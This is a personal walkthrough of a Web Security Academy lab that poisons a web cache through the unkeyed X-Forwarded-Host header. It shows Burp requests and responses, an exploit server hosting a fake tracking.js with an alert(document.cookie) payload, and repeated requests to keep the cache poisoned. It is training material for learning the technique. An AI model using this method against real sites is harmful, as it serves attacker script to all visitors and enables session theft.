

Web cache poisoning with an unkeyed header

This lab is vulnerable to web cache poisoning because it handles input from an unkeyed header in an unsafe way. An unsuspecting user regularly visits the site's home page. To solve this lab, poison the cache with a response that executes `alert(document.cookie)` in the visitor's browser.

I followed the solution guide through for this one. I was really unsure how cache poisoning works in practice so it was useful to baseline my knowledge of the subject.

With Burp running, load the website's home page

In Burp, go to "Proxy" > "HTTP history" and study the requests and responses that you generated. Find the GET request for the home page and send it to Burp Repeater.

Request	
Pretty	Raw
1	GET / HTTP/1.1
2	Host: 0a9b002903f2802cc0e60d9300dd005e.web-security-academy.net

Add a cache-buster query parameter, such as `?cb=1234`.

Request	
Pretty	Raw
1	GET /?cb=1234 HTTP/1.1
2	Host: 0a9b002903f2802cc0e60d9300dd005e.web-security-academy.net
3	Upgrade-Insecure-Requests: 1

Add the X-Forwarded-Host header with an arbitrary hostname, such as `example.com`, and send the request.

Request	
Pretty	Raw
1	GET /?cb=1234 HTTP/1.1
2	Host: 0a9b002903f2802cc0e60d9300dd005e.web-se
3	Upgrade-Insecure-Requests: 1
4	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win
5	Accept:
6	text/html,application/xhtml+xml,application/x
7	Sec-Fetch-Site: same-origin
8	Sec-Fetch-Mode: navigate
9	Sec-Fetch-User: ?1
10	Sec-Fetch-Dest: document
11	Sec-Ch-Ua: "Not;A=Brand";v="99", "Chromium";v
12	Sec-Ch-Ua-Mobile: ?0
13	Sec-Ch-Ua-Platform: "Windows"
14	Referer: https://0a9b002903f2802cc0e60d9300dd
15	Accept-Encoding: gzip, deflate
16	Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
17	Connection: close
18	X-Forwarded-Host: example.com
19	

```
Response
Pretty Raw Hex Render Hack
1 HTTP/1.1 200 OK
2 Content-Type: text/html; charse
3 Set-Cookie: session=E15JWZMYJBH
4 Cache-Control: max-age=30
5 Age: 0
6 X-Cache: miss
7 Connection: close
8 Content-Length: 10885
9
10 <!DOCTYPE html>
11 <html>
12 <head>
```

Observe that the X-Forwarded-Host header has been used to dynamically generate an absolute URL for importing a JavaScript file stored at /resources/js/tracking.js.

```
</title>
</head>
<body>
<script type="text/javascript" src="//example.com/resources/js/tracking.js">
</script>
<script src="/resources/labheader/js/labHeader.js">
</script>
```

Replay the request and observe that the response contains the header X-Cache: hit. This tells us that the response came from the cache.

```
Response
Pretty Raw Hex Render Hackvector
1 HTTP/1.1 200 OK
2 Content-Type: text/html; charset=utf-8
3 Cache-Control: max-age=30
4 Age: 2
5 X-Cache: hit
6 Connection: close
7 Content-Length: 10885
8
9 <!DOCTYPE html>
10 <html>
11 <head>
12 <link href=/resources/labheader/css/a
13 <link href=/resources/css/labsEcommen
```

Go to the exploit server and change the file name to match the path used by the vulnerable response: /resources/js/tracking.js

In the body, enter the payload alert(document.cookie) and store the exploit.

Open the GET request for the home page in Burp Repeater and remove the cache buster.

Craft a response

URL: <https://exploit-0a1500d903d1805cc0500d06017c>

HTTPS



File:

/resources/js/tracking.js

Head:

HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8

Body:

alert(document.cookie)

Add the following header, remembering to enter your own exploit server ID:

X-Forwarded-Host: your-exploit-server-id.web-security-academy.net

Request

Pretty Raw Hex Hackvortor

```
1 GET /?cb=1234 HTTP/1.1
2 Host: 0a9b002903f2802cc0e60d9300dd005e.web-security-academy.net
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
5 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apn
6 Sec-Fetch-Site: same-origin
7 Sec-Fetch-Mode: navigate
8 Sec-Fetch-User: ?1
9 Sec-Fetch-Dest: document
10 Sec-Ch-Ua: "Not;A=Brand";v="99", "Chromium";v="106"
11 Sec-Ch-Ua-Mobile: ?0
12 Sec-Ch-Ua-Platform: "Windows"
13 Referer: https://0a9b002903f2802cc0e60d9300dd005e.web-security-academy.net/
14 Accept-Encoding: gzip, deflate
15 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
16 Connection: close
17 X-Forwarded-Host: exploit-0a1500d903d1805cc0500d06017c0034.web-security-academy.net
18
19
```

Send your malicious request. Keep replaying the request until you see your exploit server URL being reflected in the response and X-Cache: hit in the headers.

```
<body>  
<script type="text/javascript" src="  
//exploit-0a1500d903d1805cc0500d06017c0034.web-security-academy.net/resources/js/tracking.js">  
</script>  
<script src="/resources/labheader/js/labHeader.js">
```

To simulate the victim, load the poisoned URL in the browser and make sure that the alert() is triggered. Note that you have to perform this test before the cache expires. The cache on this lab expires every 30 seconds.

I simply refreshed the page and the pop up triggered along with the expected congratulations.

...03f2802cc0e60d9300dd005e.web-security-academy.net says

OK

If the lab is still not solved, the victim did not access the page while the cache was poisoned. Keep sending the request every few seconds to re-poison the cache until the victim is affected and the lab is solved.

Congratulations, you solved the lab!